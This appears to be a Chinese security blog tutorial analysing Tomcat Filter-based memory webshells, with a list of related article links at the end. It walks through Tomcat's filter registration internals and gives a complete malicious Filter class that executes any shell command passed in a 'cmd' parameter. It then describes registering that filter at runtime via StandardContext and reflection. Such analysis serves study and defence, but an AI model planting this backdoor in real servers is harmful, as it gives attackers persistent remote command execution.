Filter内存马浅析
1. 何谓内存马?
以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。
Java内存shell有很多种,大致分为:
1. 动态注册filter
2. 动态注册servlet
3. 动态注册listener
4. 基于Java agent拦截修改关键类字节码实现内存shell
该文主要研究Filter内存马的原理和实现。
2. Filter注册流程
假设有一个需要注册的filter类——FilterDemo:
其中在web.xml 配置好该filter的映射和作用范围:
也可以通过 @WebFilter 修饰:
filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的;动态下面会说到。无论静态还是动态的,都是通过解析StandardContext中的缓存构造ApplicationFilterConfig,进而生成当前应用请求链路的ApplicationFilterChain,并根据filter的顺序,一个filter一个filter的执行的。
2.1 请求过滤需要的Filter接口
Debug filterChain.doFilter() 方法,启动服务,然后访问主页即可调试:
跟进之,可以看到 doFilter() 的具体处理过程是在 internalDoFilter() 中:
注意,Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致。
总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。
只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。
2.2 应用启动需要的接口
主要有三个类:
1. ApplicationFilterConfig
2. FilterDef
3. FilterMap
2.3 启动前的加载过程
主要涉及到三个类:
1. ServletContext
2. ApplicationContext
3. StandardContext
值得一提的是,在Servlet3.0版本以后,servlet和filter,甚至Listener都可以进行动态的创建,具体可以在ServletContext接口中可以简单看到:
ServletContext 接口中声明 添加filter接口 用来将filter添加到应用上下文。
ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的 addFilter 方法,用于向属性中的StandandContext实例添加filterDef:
StandandContext类中filter关键的3个属性和2个方法:
1. filterMaps
2. filterDefs
3. filterConfigs
4. addFilterDef(填充filterDef对象)
5. filterStart(根据filterDefs初始化 filterConfigs )
查找 FilterDef:
添加FilterDef:
filterStart()中先清空了 filterConfigs的状态:
然后会将新的filterConfig添加到filterConfigs中:
类ApplicationFilterConfig是依赖FilterDef生成的,所以也可以等价理解为:根据 FilterDefs来初始化 filterConfigs
2.4 请求到达时的处理流程
处理请求时,到达 StandardWrapperValve 类的 invoke 函数中:
重点在于创建了filterChain来处理匹配到的filter请求,这里每个请求都会创建一个 filterChain,并不是所有请求共用的一个:
请求处理完成后 要释放掉filterChain:
具体看看 filterChain 实例是怎么创建的:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
查看当前是否存在 filterChain,有则复用;无则new一个。然后初始化配置:
然后从 context 上下文中获取到 FilterMaps:
接下来做两点操作:
1)从filterMap中寻找匹配路径的filter添加到链中:
2.)从filterMap中寻找filter的servlet名添加到链中:
总的来说,从StandandContext中获取filterMap;再从filterMap中找到和request对象能匹配到的filter-name;最后从StandandContext中通过filter-name找到filter-config实例。
最后通过 StandardWrapperValve#filterChain.doFilter() 来获取filter执行:
3. 注册流程总结
- context启动时,调用ServletContainerInitializers添加filter,调用AbstractFilterRegistrationBean类的addRegistration方法向context添加filter
- context中不存在FilterDef则创建对应FilterDef
- AbstractFilterRegistrationBean中configure方法添加匹配filter的uri,默认为/*
- context启动时,调用filterStart方法配置初始化ApplicationFilterConfig
- 调用filter的init方法
- 对每次到达的请求在StandardWrapperVavel的invoke方法中创建过滤器链
- 根据名称获得ApplicationFilterConfig添加到过滤器链,通过ApplicationFilterConfig来获取filter执行
(by 宽字节安全)
4. 实现
简单以小马为例:
4.1 编写Filter恶意类
public class FilterDemo implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter初始化");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("进行过滤操作");HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";servletResponse.getWriter().write(output);servletResponse.getWriter().flush();return;}/** -->放行<--* Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,* 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法* 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法* 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行*/filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {System.out.println("销毁操作");}}
4.2 获取StandardContext
这个老生常谈了,这里放一个获取StandardContext的方法:
4.3 添加FilterDef
有了恶意类FilterDemo和StandardContext后,参照tomcat源代码来实现注册自定义filter的操作。FilterDef就相当于web.xml中的filter:
Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,这里主要看 addFilter 的实现:
跟进this.context.addFilter函数,发现addFilter的实现实际是在 ApplicationContext#addFilter 当中;当然,也可以动态调试——搞清楚在什么时候 addFilter (添加Filter),就在 ApplicationContext#addFilter 中下断点,然后Debug启动tomcat8服务:
在addFilter中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef); 进行添加了而已。此外,我们有了StandardContext,完全可以自行进行添加:
4.4 添加FilterMap
FilterMap用于保存filter名称与url的映射,就相当于web.xml中的filter-mapping:
我们知道,tomcat的filter的创建是在StandardWrapperValve#invoke() 函数中完成的:
通过 createFilterChain 创建一个ApplicationFilterChain:
在 createFilterChain() 中会将匹配到的filter加入filterChain:
注意这里进行if匹配的时候,DispatcherType类型是 REQUEST:
由于我们上面构造好了 FilterDef,接下来直接构造一个FilterMap,再加入 filterChain就好了:(其中urlPattern自行定义好,只有匹配到才会进行filter处理,可以类似理解为一个webshell后门密码的操作)
这里为啥要用 addFilterMapBefore() 而不用 addFilterMap() 呢?
从之前的 createFilterChain() 中添加Filter可以看出是按从头到尾的顺序来添加的:
所以 addFilterMapBefore() 的作用是将当前创建的 filterMap 添加到 filter链的第一位去。
4.5 添加到 filterConfigs
跟进到最开始的StandardContext#filterStart 方法可以看到,遍历了 filterDefs 当中 filterName :
然后把对应的 name 添加到 filterConfigs 当中:
值得注意的是,源代码中是通过 ApplicationFilterConfig (Context context, FilterDef filterDef) 的构造器来获取到filterConfig的:
说明这个类是依赖FilterDef生成的。
同时,继承自 FilterConfig,那么在jsp中,我们可以通过反射 ApplicationFilterConfig的构造器来获取到 filterConfig 对象,然后添加到 filterConfigs 中:
为了适配其他tomcat环境,这里通过反射来获取 filterConfigs:
或者直接刷新 filterConfigs,自动将filterConfig 添加到 filterConfigs 中:
4.6 效果
原始:
访问生成内存马的jsp:
访问内存马:
Filter内存马浅析相关推荐
- [Java安全]—Tomcat Filter内存马
文章首发于Secin:Filter内存马及工具检测 文章目录 原理 Filter注册流程 Filter内存马注入 内存马检测工具 原理 Servlet 有自己的过滤器filter,可以通过自定义的过滤 ...
- 【Web安全】JSP内存马研究
前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...
- 深入浅出内存马(一)
深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题.在目前传统安全领域,Webshell根据功能的不同分为三 ...
- Java内存马简单实现
文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...
- java内存马学习与理解
文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...
- java内存马分析集合
基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...
- 【网络安全】Agent内存马的自动分析与查杀
前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...
- 从一个被Tomcat拒绝的漏洞到特殊内存马
介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...
- Servlet内存马
1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...
最新文章
- 在本机用Toad远程连接Oracle数据库
- uni-app 使用vue的语法+小程序的标签和API。
- python中mainloop什么意思_很难理解python中的Tkinter mainloop()
- ols残差_python数据关系型图表散点图系列残差分析图
- html中显示数据库中的一条数据,如何使用html表显示数据库中的数据
- 优秀!结构最清晰的Yolov3 head和loss实现完全解析
- 站立会议中发现的一些新问题
- cocos2d-x学习知识点记录
- MongoDB聚合—计数count
- UnityShader15:前向渲染
- 开课吧:大数据时代,数据分析的特点是什么?
- Web API 处理机制剖析 --- 拨开迷雾看本质
- 如何在OTN网站下载Grid方法(Oracle RAC)
- c语言vs2010中F10使用方法,VS2010快捷键及设置
- 关于Win10系统下VIA HD AUDIO威盛声卡没声音问题 - 有效解决办法
- CP2102 USB转串口驱动下载
- 程序员全职接单一个月的感触
- 日积一步3(求解点到平面二次曲线的最近距离)
- Java-斗地主游戏(部分功能)
- Java之初步识别网络编程:IP、端口号、TCP/UDP、Socket、URL等
热门文章
- VB基础版版务处理_20050827
- php5.6.36 xdebug,php配置xdebug | Soo Smart!
- UG\NX二次开发 获取边类型 UF_MODL_ask_edge_type
- 回填用土好还是砂石料好_砂石土的一般配比
- 数据库测试的重要性——永远不要忘记数据库测试
- PostgreSQL 常用命令 总结 ||数据库导入导出
- 易语言- 定义一个系统范围的热键 RegisterHotKey UnregisterHotKey
- make menuconfig问题
- 计算机网络:02---数据与信号。频率、比特率、波特率、信噪比、衰减
- 飞行机器人(三)DJI平台OSDK ROS 编译及使用